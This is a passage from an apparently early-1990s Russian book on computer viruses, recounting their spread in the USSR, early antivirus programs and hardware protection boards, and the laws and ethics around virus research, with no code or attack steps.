Из них следует отметить DR DOS фирмы Digital Research, которая бу-
дучи более совместимой с MS DOS, чем сама MS DOS (т.е. сущест-
венно реже зависающей, что особенно важно при работе на отечест-
венных ПЭВМ типа ИСКРА 1030), обеспечивает лучшие утилиты и воз-
можность защиты файлов и каталогов. Другой интересной альтернатив-
ной разработкой является Hi DOS. Любая из этих систем более виру-
соустойчива, чем MS DOS, и, кроме того, перекрывает некоторые не-
документированные люки, через которые можно незаконно получить
адреса важнейших прерываний и другую жизненно важную для вирусов
информацию. При этом, чем изощреннее и опаснее написан вирус, тем
меньше шансов у него остаться работоспособным на альтернативной
операционной системе. Ведь для того, чтобы сохранить приемлемые
размеры, вирусу необходимо быть жестко ориентированным на особен-
ности своей среды, а общий закон приспособления гласит, что чем
больше тот или иной вид приспособлен к обитанию в той или иной
среде, тем меньше он способен перенести ее изменение.
1.2.5. OS/2 и компьютерные вирусы
Конечно, вирусы, рассчитанные на MS DOS, будут неработоспособны
для OS/2. В этом смысле новая операционная система предпочтитель-
нее. Однако представляется весьма вероятным быстрое появление но-
вых штаммов, адаптированных к OS/2. Сдерживающим фактором, несом-
ненно, послужит наличие средств регламентации доступа к файлам,
однако неясно, насколько трудно эту защиту обойти. В то же время
более сложная и более мощная операционная система не обязательно
является и более вирусобезопасной. Простота MS DOS приводит к то-
му, что все ее закоулки изучены, и разработчику вируса придется
проявить незаурядную изобретательность, чтобы придумать что-то но-
вое. В OS/2 таких закоулков неизмеримо больше, подробные сведения
о ее внутренней структуре отсутствуют, да и сама она занимает в
памяти намного больше места. Это создает значительное жизненное
пространство для хорошо замаскированных вирусов. В этом плане
увеличение сложности следует рассматривать как недостаток.
1.2.6. Роль компьютерных сетей
Опасно не наличие компьютеров,
а их нехватка
А.Азимов
Распространение дешевых компьютерных модемов привело к тому, что
телефонные сети стали использоваться тысячами, если не десятками
тысяч как платных, так и бесплатных банков данных. Последние часто
называют BBS. Одни BBS организуются группами пользователей как
центры обмена сообщениями и программным обеспечением. Другие орга-
низуются частными лицами просто как хобби. Последнее время наблю-
дается увеличение количества BBS, финансируемых разработчиками
программного и аппаратного обеспечения. Они играют важную роль
консультационных центров для соответствующих групп пользователей.
Чтобы организовать BBS нужен персональный компьютер, модем, хотя
бы одна телефонная линия, немного специального программного обес-
печения и один человек -- оператор BBS, часто называемый SYSOP
(SYStem OPerator -- оператор системы). Поскольку на Западе эти тре-
бования легко удовлетворяются, BBS стали своего рода парковыми
скамейками эпохи НТР. Конечно, качество банка данных и программ
данной BBS зависит, в основном, от уровня квалификации и преданно-
сти делу его SYSOPа. Отдельные BBS обычно служат узлами сети.
Крупнейшей в мире любительской сетью ПЭВМ является FidoNet, не-
сколько узлов которой работает в СССР (в Москве и Таллинне).
За рубежом ранние системы предупреждения о новых вирусах основы-
вались на широко разветвленной сети BBS (многие университетские
компьютерные центры организовали свои BBS, которые зарекомендовали
себя хорошим источником информации о местных вирусах и их штам-
мах).
Кроме бесплатных BBS на Западе распространены и коммерческие их
аналоги -- большие онлайновые информационные системы, такие как
CompuServe. Подключение к ним платное, зато объем и качество ин-
формации выше. Например, CompuServe предлагает мини-BBS по группам
интересов (так называемые SIG -- special interest groups). Среди
них есть и группа по борьбе с вирусами.
В некоторых западных популярных изданиях высказывалась мысль о
том, что вирусы якобы особо опасны при наличии компьютерных сетей.
Эта идея была некритически подхвачена и рядом отечественных авто-
ров, запугивающих читателей этой опасностью. Однако дело обстоит
как раз наоборот: компьютерные сети создают беспрецедентную воз-
можность обмениваться информацией, а существует древняя и мудрая
поговорка Кто предупрежден, тот вооружен. Поэтому при наличии
сетей опыт борьбы конкретного пользователя с появившимся вирусом
становится достоянием всех заинтересованных пользователей на сле-
дующий день, а не через месяц или год, как это часто бывает у нас.
В частности, история борьбы с вирусом Морриса показала, что даже в
этом случае, когда удар был фактически направлен по самой сети,
функционирование последней явилось важным фактором быстрого и пол-
ного решения проблемы прекращения его распространения. Поэтому
расписывание ужасов сетевых вирусов при практически полном отсут-
ствии сетей, как раньше запугивание генетикой и ПЭВМ (в середине
80-х в Литгазете была опубликована пространная статья, в которой
на полном серьезе доказывалось, что социалистическому обществу в
связи с его коллективистским характером ПЭВМ не нужны), является
отражением нашей отсталости и консервативности. Перефразируя при-
веденные в качестве эпиграфа слова А.Азимова можно сказать, что
Опасно не наличие сетей, а их отсутствие.
Конечно, компьютерные сети, как любое технологическое новшество,
создают и новые возможности для вандализма. Сетевые вирусы или
точнее репликаторы являются примером использования этих новых воз-
можностей. Однако суммарный эффект не отрицателен, а положителен:
наличие сети неизмеримо увеличивает эффективность защиты, создавая
возможность мгновенной передачи разработанных детекторов, фагов,
вакцин. Этот канал по своей эффективности конечно не идет ни в ка-
кое сравнение с передачей дискет через железнодорожных проводни-
ков: эту эрзац-сеть, которой вынуждены пользоваться отечественные
программисты.
1.2.7. Появление вирусов в СССР
Ой Вань, гляди, какие клоуны...
Нет, я, ей-богу, закричу!..
В.Высоцкий
Так или иначе, компьютерные вирусы стали частью окружающей про-
граммистов, да и не только программистов, действительности. Одним
из свидетельств этого является тот факт, что новое издание словаря
Вебстера (Webster's Ninth New College Dictionary) включает термин
вирус компьютерный. И они, конечно, не миновали нашей страны,
хотя массовые закупки персональных компьютеров типа IBM/PC у нас в
стране начались только в середине 1988 г. (как всегда мы опоздали
почти на десять лет). К этому же моменту начался выпуск советских,
правда изрядно африканизированных, клонов -- ЕС 1840, Искра 1030 и
Нейрон.
Хотя исследования, выполненные в СССР, начались довольно поздно
и их формально нельзя отнести к предыстории (автору не известны
отечественные попытки создания самовоспроизводящихся программ до
1988 г.), следует отметить, что первое отечественное исследование
в данной области было выполнено до появления у нас в стране на-
стоящих компьютерных вирусов. Оно было проведено в 1988 г.
А.А.Чижовым, который в то время работал в ВЦ АН СССР (Москва). Ос-
новываясь непосредственно на концепции самовоспроизводящихся про-
грамм, он самостоятельно реализовал демонстрационный файловый ком-
пьютерный вирус для MS DOS и провел ряд экспериментов по его рас-
пространению (см. сокращенную стенограмму выступления А.А.Чижова
на семинаре, приведенную в бюллетене СОФТПАНОРАМА 90-3). В ходе
этих экспериментов автором была выявлена чрезвычайно большая ско-
рость распространения вируса. По материалам этого исследования в
1988 г. была опубликована первая русскоязычная статья по данной
проблематике [Чижов88] (журнал был подписан в печать 26.07.88,
т.е. во время проведения в CCCР Международного детского компьютер-
ного летнего лагеря -- см. ниже). Хотя в ней не приводились сведе-
ния о конкретных вирусах в MS DOS (А.А.Чижов живыми экземплярами
вирусов в тот момент не располагал), статья содержала полезные
сведения о механизме работы этого типа программ и предупреждала о
серьезности данной угрозы. В то же время публикация имела и отри-
цательные последствия, поскольку ввела в оборот фантомные на тот
момент типы вирусов, которые с тех пор кочуют по отечественным
публикациям (вирус в объектной библиотеке, вирус в сетевом
драйвере и др.). Кроме того, неконкретность рекомендаций исключа-
ла принятие каких-то полезных профилактических мер, а призывы ав-
тора к соблюдению авторских прав носили в определенной мере мора-
лизаторский характер. Статья была замечена специалистами в Польше
(которые, кстати, отметили потенциальную опасность статьи, как по-
собия по разработке новых типов вирусов) и, возможно, других стра-
нах Восточной Европы.
Первый компьютерный вирус (С-648 по приводимой ниже классифика-
ции) появился в СССР приблизительно в августе 1988 г. Этот вирус,
часто называемый венским вирусом (по предполагаемому месту его
разработки), вызывал перезагрузку операционной системы при запуске
некоторых из пораженных им программ. Одним из первых мест, где он
был обнаружен, являлась лаборатория Института программных систем
(Переславль-Залесский). Возможно, он попал в лабораторию во время
проведения институтом (совместно с ЮНЕСКО) Международного детского
компьютерного летнего лагеря. Поскольку этот вирус к середине
1988 г. был уже довольно распространен в странах Западной Европы,
он несомненно завозился в СССР неоднократно, c различного рода но-
выми версиями программного обеспечения и компьютерными играми. В
Киеве этот вирус появился в конце 1988 г. Наибольшее распростране-
ние он получил примерно в апреле 1989 г., после чего его эпидемия
пошла на убыль, что прежде всего связано с достаточной распростра-
ненностью средств защиты от этого вируса. Одним из переносчиков
этого вируса в Киеве был адаптированный вариант программы SideKick
(шестерка). К сожалению, по стране распространяется реконструиро-
ванный одним венским программистом исходный текст данного вируса,
с довольно подробными комментариями. Этот текст, в частности, был
включен В.Бончевым в его так называемую вирусную дискету,
распространявшуюся вместе с разработанным им пакетом антивирусных
программ. Наличие исходного текста создает благоприятные условия для
появления штаммов. И, действительно, данный вирус имеет, пожалуй,
наибольшее часло штаммов из нерезидентных файловых вирусов. (см.,
например, описания вирусов С-534 и С-623).
Вторым вирусом, попавшим в СССP, был вирус RC-1701. Данный вирус
вызывал довольно интересный эффект опадания букв на экране мони-
тора. Этот вирус также имеет западноевропейское происхождение. В
СССР впервые был выделен в Институте прикладной математики имени
М.В.Келдыша АН СССР. B Киеве появился в начале 1989 г. Средства
защиты появились примерно одновременно с вирусом, поэтому сущест-
венного вреда вирус не нанес. Первым средством защиты от данного
вируса в Киеве была немецкоязычная (австрийская) программа SERUM3,
которая могла работать как в режиме фага, так и в режиме детекто-
ра. Среди первых отечественных программ, применявшихся на началь-
ной стадии эпидемии, следует отметить детектор В.Ладыгина (ИПМ АН
СССР) VIRUS_D1.
Попытки программистов организоваться для борьбы с этой новой
разновидностью системных программ относятся к началу 1989 г. Так,
12 апреля 1989 г. в Киеве в рамках семинара Системное программи-
рование было проведено первое специализированное заседание по ан-
тивирусной тематике. В дальнейшем выступления по этой теме стали
регулярными и было проведено еще несколько специальных заседаний,
посвященных защите от вирусов. Они сыграли определенную роль в со-
кращении случаев заражения компьютеров и ликвидации эпидемий виру-
сов C-648, RC-1701, и в особенности RC-1813, масштаб эпидемии ко-
торого в Киеве был наибольшим. Кстати, этот вирус хорошо прошелся
по СССР, реально показав, насколько невооруженные пользователи
уязвимы от этой новой для них опасности: сотни, если не тысячи ча-
сов были потеряны на переформатирование винчестеров и выгрузки ар-
хивных копий в надежде избежать повторного заражения. С сентября
1989 г. семинаром Системное программирование был организован вы-
пуск электронного бюллетеня СОФТПАНОРАМА, который стал важным ка-
налом распространения информации о появлении новых компьютерных
вирусов и бесплатных программах для борьбы с ними. Список про-
грамм, распространявшихся через бюллетень, приведен в прил. 5. В
том же месяце начала распространяться версия 1.0 данной работы.
Первые случаи потери важных данных от компьютерных вирусов стали
известны автору в конце 1989 г., когда к нему обратился представи-
тель оптовой базы, у которого, как оказалось, базы данных о храни-
мых запасах были повреждены вирусом RCE-1800 (Dark Avenger). Пери-
одически автору поступают сообщения о полностью уничтоженном со-
держимом винчестера, причем характер повреждений не позволяет до-
стоверно установить, имеем ли мы дело с вирусом или с тщательно
замаскированной троянской программой (например, подозревается одна
версия COLORCAM со сломанной, но как видно, не до конца, защитой),
или с выходом из строя самого винчестера. При этом, однако, броса-
ется в глаза тот факт, что примерно у половины пользователей к мо-
менту потери содержимого винчестера не существует его более или
менее свежей копии. Вот уж действительно прав был Бернард Шоу,
сказав: Опыт содержит самую дорогую школу, однако многие, похоже,
не способны учиться ни в какой другой. В конце 1989 г. в Донецке
была обнаружена троянская программа в составе нелегальной копии
известной игры FORMULA. Эта программа переписывала себя в загру-
зочный сектор винчестера и через некоторое время стирала CMOS-па-
мять.
1.2.8. Отечественные антивирусные публикации
-- Вот что, товарищи, -- говорил
Паламидов, поспешая вместе
с братьями по перу в столовую, --
давайте условимся -- пошлых
вещей не писать
И.Ильф и Е.Петров.
На первой отечественной публикации, посвященной компьютерным ви-
русам, мы уже останавливались. Практически по следам событий, сра-
зу после появления вирусов С-648 и RС-1701, был написан целый ряд
статей, однако большой срок запаздывания журнальных изданий сыграл
очень негативную роль, задержав их выход в свет настолько, что к
моменту получения читателями содержащаяся в них информация в зна-
чительной степени устарела. Написанные еще в конце 1988 г., все
они вышли только в конце 1989 г. К этому моменту эпидемии вирусов
C-648 и RC-1701 практически закончились. Среди указанных публика-
ций следует отметить статью И.Ш.Карасика [Карасик89а], в которой
впервые подробно изложены сведения о механизме работы и эффектах,
вызываемых вирусами С-648 и RС-1701. Несмотря на значительное за-
паздывание (третий номер журнала Мир ПК был подписан в печать
11.07.89 и появился в продаже в декабре 1989 г.), уровень понима-
ния механизма работы вируса RС-1701 выделяет эту работу из осталь-
ных публикаций.
В настоящее время поток публикаций по данной тематике существен-
но возрос и статьи стали появляться практически ежемесячно. Следу-
ет отметить, что сроки публикации в отечественных журналах и се-
годня остаются крайне неудовлетворительными. Например, статья
А.С.Осипенко [Осипенко90], написанная в конце 1989 г., была опуб-
ликована только в третьем номере журнала Мир ПК за 1990 г., при-
чем этот номер поступил в продажу лишь в августе, т.е. опять же
когда эпидемии вирусов, описываемых в статье, практически закончи-
лись.
Как обычно, среди основной массы нормальных публикаций, встре-
чаются и неудачные. К ним можно отнести брошюру [Основский90], со-
держащую пересказ различных слухов (о вирусе, вводящем в резонанс
головки винчестера, вирусе типа квадрат Малевича длиной 3767
байт, сетевом вирусе длиной 2231 байт, самораскручивающемся в опе-
ративной памяти вирусе размером 1201 байт и др.). Приведенные в
брошюре сведения породили новые слухи, рассматриваемые в разделе
о мифических вирусах.
Обилием спорных утверждений и излишней категоричностью грешит
статья Ф.Н.Шерстюка [Шерстюк90], в которой реализация достаточно
ограниченного по своим возможностям метода защиты от вирусов, вы-
дается за панацею. Достоинством статьи является то, что в ней
впервые в отечественной литературе описана реализация нерезидент-
ной вакцины, прикрепляющейся в конец тела программы, подобно обыч-
ному файловому вирусу. Вместе с тем, в статье допушен ряд (вполне
простительных) технических ошибок, связанных с недостаточным пони-
манием механизма использования 13 прерывания версиями 3.x и 4.x MS
DOS, а некоторые по меньшей мере спорные утверждения выдаются за
непререкаемые истины. К числу последних, в частности, относятся:
вирусы ... разрабатывают даже в кругах, близких к таким крупным
фирмам-разработчикам ПК, как IBM, в целях борьбы с фирмами, произ-
водящими компьютеры-клоны;
практика показывает, что именно специализированные антивирусные
программы (имеются в виду полифаги -- БНН) чаще всего являются раз-
носчиками вирусов;
все имеющиеся на сегодняшний день методы борьбы с вирусами
практически исчерпали себя, необходимо разработать принципиально
новые.
Первое утверждение, вынесенное в аннотацию статьи, автор ничем
не обосновывает. А доказательств причастности кругов, близких к
фирме IBM к разработке вирусов не существует, если, конечно, не
считать такими кругами всех пользователей компьютеров, совместимых
с IBM PC. Если В.Ф.Шерстюк имел в виду особенность вируса RС-1701,
состоящую в том, что этот вирус не должен был размножаться на ори-
гинальных IBM PC (кстати, в этом месте автор вируса допустил ошиб-
ку и вирус успешно размножается на таких компьютерах), то этот
факт скорее свидетельствует об обратном, т.е. о страхе автора ви-
руса перед такой могущественной фирмой как IBM.
Второе утверждение уже принципиально неверно, т.к. создает у чи-
тателей ложное впечатление об опасности полифагов. Во-первых, к
моменту написания статьи полифаги уже стали снабжаться средствами
самоконтроля на зараженность (например, Aidstest), а во-вторых,
компьютерные игры были и остаются куда более опасным источником
заражения, чем фаги.
Особенно характерно последнее утверждение, которое можно считать
своего рода лакмусовой бумажкой детской болезни левизны в вирусо-
логии. В действительности предлагаемый автором метод имеет не ме-
нее серьезные недостатки, чем те методы защиты, которые он якобы
призван заменить. В частности, принципиальными недостатками опи-
санного метода вакцинирования является потеря дискового простран-
ства (размер всех выполняемых файлов увеличивается на размер вак-
цины, который скорее всего составит порядка 512 байтов, т.е. сек-
тора диска), а также возможная потеря работоспособности некоторых
вакцинированных резидентных программ или программ со специальной
структурой (скрытыми оверлеями и др.). Вместе с тем, в комбинации
с другими методами этот метод безусловно полезен и имеет право на
существование.
С другой стороны, некоторые авторы стремятся повысить свой авто-
ритет за счет пренебрежительных высказываний о других публикациях
и разработанных антивирусных программах. Здесь также необходимо
чувство меры. Критика уровня ... - продажная девка империализма,
начинающаяся и заканчивающаяся утверждениями о том, что оппонент
просто глуп, не утруждающая себя приведением доказательств явля-
ется таким же проявлением нашей отсталости, как и выпускаемые на-
шей промышленностью ПЭВМ.
1.2.9. Первые отечественные антивирусные программы, начало форми-
рования рынка программных средств
защиты от вирусов
Please do not shoot the pianist.
He is doing his best
Надпись в американском баре;
приписывается также О.Уайльду
А борьба на всем пути
В общем равная почти
В.Высоцкий
Разработка первых отечественных антивирусных программ -- детекто-
ров (программ, обнаруживающих вирус) и фагов (программ, выкусы-
вающих вирус) -- началась еще в 1988 г. Из полифагов, сыгравших
значительную роль на начальном этапе, следует отметить программу
Aidstest Д.Н.Лозинского, Doctor А.А.Чижова и ANTI-KOT О.Котика.
Причем программа ANTI-KOT быстро стала коммерческой и практически
не принимала участие в борьбе с вирусами, начиная с осени 1989 г.,
а программа Doctor по этой же причине выпала из игры в важный
период сентября -- декабря 1989 г. Дольше всего бесплатно распрост-
ранялась программа Aidstest, которая с осени 1989 по лето 1990 г.
была самой популярной отечественной антивирусной программой. Одна-
ко к маю 1990 г. Д.Н.Лозинский настолько устал от звонков пользо-
вателей, что решил уйти в профессионалы, хотя, по его словам,
ему было бы достаточно секретаря, отвечавшего на непрерывные теле-
фонные звонки. Коммерческие версии до октября 1990 г. были доста-
точно дорогими и значимость Aidstest для широких кругов пользо-
вателей резко упала. Однако, начиная с октября незащищенная от ко-
пирования версия Aidstest стала распространяться по цене 3 руб.
для частных лиц (т.е. практически как SHAREWARE) и, возможно, быс-
тро обретет былую популярность. Cреди полифагов, распространяющих-
ся бесплатно, одним из лидеров стала программа Kхх Е.Сусликова
(после буквы К в имени этой программы обычно стоит количество
выкусываемых вирусов, например К41). Конечно, положение, когда
пользователи предпочитают антивирусные программы, распространяющи-
еся бесплатно, можно оценивать по-разному.
Подобно тому, как рост преступности порождает повышенный спрос
на замки и другие средства защиты, изготовители программного обес-
печения и компьютерного оборудования предпринимают попытки исполь-
зовать ситуацию для завоевания рынка. В настоящее время общее ко-
личество антивирусных средств наверное в несколько раз превышает
общее количество известных компьютерных вирусов. Только в нашей
стране разработаны десятки, если не сотни коммерческих программ
для этой цели. Цены на такого рода продукты колеблются примерно от
300 до нескольких тысяч рублей с типичной ценой в 1000 руб. за па-
кет. Как правило, коммерческое программное обеспечение распростра-
няется защищенным от копирования и требует для своей работы либо
инсталляции на винчестер со специальной дистрибутивной дискеты,
либо работы непосредственно с поставляемой оригинальной дискетой.
Это создает некоторые неудобства при архивировании или переразмет-
ке винчестера.
В связи с тем, что рынок как таковой еще не сложился, цены, ус-
танавливаемые разработчиками, как правило, совершенно не связаны с
качеством соответствующего программного продукта (иногда даже
встречаются случаи продажи по принципу толкни и убегай). Доволь-
но часто программное обеспечение для защиты от вирусов, распрост-
раняемое за меньшую цену или даже бесплатно, обладает сопоставимы-
ми или лучшими характеристиками. Эта ситуация характерна как для
отечественных, так и для зарубежных средств защиты от вирусов, что
свидетельствует о незрелости данной отрасли. Кроме того, лишь
немногие продукты сочетают защиту от вирусов со средствами
резервирования информации или защитой от несанкционированного
доступа, а именно такие интегрированные системы представляют, по-
видимому, наибольшую ценность для пользователей.
1.2.10. Появление аппаратных средств защиты от вирусов
Изготовители компьютерного оборудования не так активно включи-
лись в охоту на вирусы, как изготовители программного обеспече-
ния. Тем не менее ряд продуктов доведен до уровня коммерческих и
продается потребителям. Предлагаемые аппаратные средства защиты,
как правило, представляют собой специальные платы. Однако в конце
1988 г. фирма American Computer Security Industries, Нэшвилл, шт.
Теннеси, США, представила первый надежно защищенный противовирус-
ный компьютер, класса PC AT, названный Immune System (Иммунная
система). Cистема якобы обладает иммунитетом от вирусной атаки, а
также полным набором средств, предохраняющих MS DOS и BIOS от не-
санкционированных изменений (Computer Age, январь 1989 г., см.
также Personal Computing, 1989, щ 5, р. 92).
Из зарубежных плат, повышающих степень защищенности компьютера,
отметим плату Immunetec PC фирмы Зевс (Zeus Corp., 538 Pasadena
Dr., Akron OH 44303-1704, USA; (216) 867-8181), стоимостью 295
долларов. Эта плата тестирует бутсектор и системные файлы MS DOS
на наличие несанкционированных изменений, а также позволяет запре-
тить загрузку системы с дискеты, установить паспорта и уровни до-
ступа к винчестеру. Плата совместима с сетями Novel, 3Com и IBM
Token Ring [Personal Computing, 1989, щ 5, р. 92]. Аналогичная
плата Trispan фирмы Микроникс (Micronics Inc., 1901 N Central
Expressway, Richardson, TX 75080, USA; (214)690-0595) стоит 895
долларов.
Из советских разработок интерес представляет плата PORT WATCH
CARD донецкой фирмы БИС (см. прил.5), совместимая с популярными
сетями. Работая вместе с разработанной А.Водяником резидентной
программой IWP (Intellectual Write Protector), эта плата достаточ-
но надежно перекрывает возможные пути инфекции, позволяя, в част-
ности, аппаратно блокировать загрузку, если пользователь не указал
требуемый пароль. Следует отметить, что загрузка с собственной ди-
скеты -- стандартный прием проникновения в чужой компьютер любите-
лей компьютерных игр, да и не только их.
Принцип действия IWP основан на усилении присваиваемого файлам
атрибута READ_ONLY в сочетании с защитой системных блоков, включая
MBR и бутсектор. Защищаемые файлы отмечаются специальной утилитой
MAP.EXE, устанавливающей защищаемым файлам указанный атрибут и со-
здающей в файле _IWP_.MAP в коpневом каталоге шифрованный список
элементов каталога защищаемых файлов и цепочки его кластеpов в
FAT. При загрузке IWP считывает этот список, пеpехватывает попытки
записи чеpез дpайвеp диска и анализиpует их. При выявлении пpоти-
воpечий выдается сообщение и опасная запись блокиpуется. Запись и
фоpматиpование чеpез пpеpывание 13h запpещаются, если они выполня-
ются не из дpайвеpа диска, a из дpугих пpогpамм. Вывод в поpты
контpоллеpов дисков -- если он выполняется не из BIOS по пpеpыва-
нию 13h. Используя плату Port Watch Card, IWP контролирует запись
в CMOS-память (поpт 71h) и опасные действия с портами контpоллеpов
дисководов дискет (370h..377h, 3F0h..3F7h) и винчестера
(170h..177h, 1F0h..1F7h -- PC AT; 320h..32Fh -- PC XT).
Недостатком существующей IWP является значительный объем исполь-
зуемой оперативной памяти (порядка 30К при защите винчестера 40M).
Правда, разработчики предлагают специальный драйвер, имеющий и са-
мостоятельное значение, расширяющий ОЗУ на 80K, если на компьютере
установлена карта EGA (несколько больше для карт CGA и Hercules)
за счет неиспользуемой в текстовом режиме видеопамяти. Планируется
разработка новых версий платы с IWP, записанной в ROM платы.
1.2.11. Семинар Системное программирование и бюллетень СОФТПАНОРАМА
Отсутствие сетей и изолированность отечественных программистов
друг от друга также явилось фактором, способствовавшим распростра-
нению вирусов по нашей стране. Как уже указывалось, первые попытки
организовать обмен информацией по антивирусной тематике и рас-
пространение антивирусных программ относятся только к апрелю
1989 г. Так, в Киеве 13.04.90 состоялся тематический семинар, пол-
ностью посвященный проблеме компьютерных вирусов. Программа этого
семинара включала сообщения по четырем типам вирусов (С-648, RC-
1701, RCE-1813 и Bx1-1C (Ping-Pong)) и большую дискуссию. Начиная
с этого семинара, среди участников стали распространяться лучшие
антивирусные программы, а с сентября 1989 г. начал выходить ежеме-
сячный бюллетень COФТПАНОРАМА. В настоящее время с формата 360К
бюллетень перешел на формат 720К, приблизительно треть из которых
выделяется под новые версии антивирусных средств и текущую инфор-
мацию о компьютерных вирусах.
1.2.12. Болгарские и польские исследования
Из исследований, проведенных в странах Восточной Европы, следует
отметить польские и болгарские публикации. Лидером среди авторов
болгарских публикаций на рассматриваемую тему является В.Бончев.
Этим, безусловно очень способным исследователем, была опубликована
одна из первых статей по вирусу С-648 [Бончев89а], а через
некоторое время большая статья [Бончев89б], перевод которой был
включен во второй выпуск бюллетеня COФТПАНОРАМА. Несмотря на ряд
допущенных ошибок и неточностей, в ней были приведены актуальные
на тот момент сведения о вирусах группы ТР (автор лично знаком с
техно-крысой, разработавшей эту группу). В статье также очень мяг-
ко трактовался вопрос об ответственности за разработку и распрост-
ранение вирусов. Возможно это связано с тем, что в это время автор
сам распространял дискету с рядом вирусов и их исходными текстами.
Хотя мотивом служило, по-видимому, желание показать, что в компью-
терных вирусах нет ничего таинственного, эта ошибка молодости
возможно послужила одной из причин последовавшего в 1990 г. бол-
гарского вирусного взрыва (см. ниже). Вместе с тем, статьи Бонче-
ва были важным источником информации о распространяющихся в СССР
вирусах и несколько облегчили борьбу с ними. Сейчас уже можно го-
ворить о серии околовирусных статей В.Бончева в журнале Ком-
пютър за вас, причем уровень последних статей существенно превос-
ходит уровень первых. Последнее время В.Бончев стал активно участ-
вовать в электронной конференции FIDO, посвященной компьютерным
вирусам.
Вместе с тем, в статьях В.Бончева наблюдается определенный пе-
рекос в сторону раскрытия механизма работы вирусов по сравнению с
методами защиты от них, что, в общем, соответствует интересам
В.Бончева, как ведущего рубрики. Отметим, что этот перекос не-
сколько компенсируется тем, что В.Бончев является также автором
ряда бесплатно распространяемых фагов, которые помимо Болгарии,
получили определенное распространение и в СССР. Однако с точки
зрения влияния на читательскую аудиторию, указанная несбалансиро-
ванность редакционной политики вызывает сожаление. Поэтому роль
указанных статей можно оценить как несколько противоречивую. Впро-
чем автор сознает, что подобная критика может быть высказана и по
отношению к его собственной работе.
Помимо В.Бончева, ряд статей по данной тематике опубликовал бол-
гарский исследователь С.Недков [Недков89а-Недков90а, Nedkov89] и
польский исследователь А.Кадлоф [Кадлоф90, Kadlof89].
1.2.13. Законы, направленные против техно-крыс
Много ли желающих получить
действительно по заслугам ?
С.Крытый. ЛГ щ 33 (16.08.89)
Вирусы, как и троянские программы, создаются конкретными про-
граммистами. Хотя дальнейшее обсуждение будет в основном техниче-
ским, не следует забывать, что ключевым аспектом проблемы является
появление техно-крыс -- новой разновидности уголовников, использую-
щих для своих целей возросшую степень анонимности, достижимую с
появлением ПЭВМ и сетей. Поэтому важным аспектом борьбы с компью-
терными вирусами становится выявления личности преступника или
преступной группы, создающей или распространяющей компьютерные ви-
русы. Руководитель американской специальной группы по изучению
компьютерных преступлений, Кирк Тэбби, занимающий пост помощника
прокурора в Эн-Арборе (шт. Мичиган) заявил: Уголовное дело можно
возбудить всегда, когда существует человек, совершивший преступле-
ние. Незаметное внедрение вируса в программу является злонамерен-
ным действием, а создание подобной программы -- преступлением (The
Computer Law and Security Report. -- 1989. -- V.5. -- No. 1 -- H.18-
21). Уголовная ответственность может сочетаться с иском за нане-
сенный ущерб.
К концу 1989 г. в ряде стран (США, Великобритания, ФРГ) находят-
ся на рассмотрении законы, предусматривающие для разработчиков и
распространителей компьютерных вирусов значительные сроки тюремно-
го заключения (в США до 15 лет). Это позволит, помимо программных
и организационных мер, применять для борьбы с вирусами и правовые
методы. В частности, в палате представителей Конгресса США внесены
билль 55 (Virus Eradiation Act) и билль 287 (Computer Protection
Act) [Crawford89].
Выдержки из билля 287 (перевод Н.Н.Безрукова)
(А) Любой, кто сознательно или умышленно саботирует надлежащее
функционирование аппаратуры компьютерной системы или связанного с
ней программного обеспечения и тем самым вызовет потерю данных,
затруднения при работе ЭВМ, убытки или вред владельцу компьютера,
должен быть оштрафован -- или подвергнут тюремному заключению на
срок не более 15 лет или подвергнут обоим наказаниям.
(В) Пострадавшая сторона имеет право в судебном порядке требо-
вать соответствующую компенсацию понесенных убытков и судебных из-
держек.
Национальный институт стандартов США и Пентагон создали Компью-
терную группу быстрого реагирования из 12 человек для борьбы с ви-
русами и поиска преступников. Кроме того, Пентагон планирует со-
здать свой коммуникационный центр и подразделение для отражения
атак на компьютерные системы (Comm. AСM, 1989, v. 32, щ 2, p.
161).
В ФРГ законодательство позволяло, в большинстве случаев, при-
влечь к ответственности изготовителей и распространителей вирусов
еще в 1987 г. Подробнее с состоянием правовой защиты от заражения
компьютерными вирусами в ФРГ по состоянию на 1987 г. можно позна-
комиться по переводу книги Р.Бургера Компьютерные вирусы
[Burger88, гл.6]. Этот перевод распространяется, в частности, че-
рез Всесоюзный центр переводов (ВЦП).
Появление достаточно суровых законов создает в известной мере
трагическую ситуацию, известную под названием поиск козла отпуще-
ния. Посадят одного, причем не самого вредного. Остальные оста-
нутся на свободе. А что такое для молодого способного человека в
17-18 лет получить даже год тюремного заключения? Да еще сознавая,
что его посадили, а остальные, принесшие не меньший вред, гуляют
на свободе.
1.2.14. Этические проблемы, связанные с распространением компьютерных вирусов
Копии хороши лишь тогда, когда
они открывают нам смешные
стороны дурных оригиналов
Франсуа де Ларошфуко
Конечно, общепринятые приоритеты и этические принципы
[ParkerD81, Weiss82] исследований в программировании, использовав-
шиеся на первом этапе -- предыстории компьютерных вирусов, когда
проблема носила преимущественно научный характер (свободный обмен
информацией, программами и т.д.), не применимы на втором этапе,
когда проблема затрагивает интересы практически каждого пользова-
теля ПЭВМ. Сейчас как никогда остро стоит проблема выработки ко-
декса исследователя-вирусолога. Этот кодекс должен исключать
свободную передачу как самих вирусов, в особенности их наиболее
опасных разновидностей (RCE-1800, RCE-2000 и др.). Здесь есть
смысл применить подход, принятый в медицине, где лекарства разде-
лены на список-А, список-Б и т.д., причем в список-А попадают
наиболее опасные лекарства, доступ к которым наиболее регламенти-
рован, в список-Б менее опасные, но с регламентацией доступа (ре-
цепт с печатью) и т.д.
Появление коллекционеров вирусов, не ведущих работу по созда-
нию средств защиты, представляет особую опасность, поскольку попа-
дание такой коллекции в руки злонамеренного и безответственного
программиста может наделать много бед. Автор считает, что передача
вирусов может осуществляться только лицам, активно ведущим разра-
ботку средств защиты, и только на основе соглашения о нераспрост-
ранении.
Наибольшую опасность представляют собой комментированные исход-
ные тексты вирусов. Уровень квалификации, требуемый для того, что-
бы изменить в ассемблерном тексте две-три команды, и заново ассем-
блировать текст вируса намного ниже, чем тот, который требуется
для дизассемблирования и реконструкции логики. Поэтому распростра-
нение исходного текста вируса фактически является подстрекательст-
вом к созданию новых вирусов. Если два-три года назад такой
поступок мог быть связан с отсутствием осознания опасности
компьютерных вирусов, то сейчас распространявшего исходных текстов
граничит с преступлением.
Следует подчеркнуть необходимость особой осторожности для всех,
кому так или иначе приходится анализировать зараженные программы и
реконструировать логику вируса. Относящиеся к этому материалы же-
лательно держать преимущественно как личные записи, не прибегая
без необходимости к внесению комментариев в файл, содержащий ди-
зассемблированный текст. Каталоги и архивы защищать от несанкцио-
нированного доступа паролями или, предпочтительнее, шифровкой. Не-
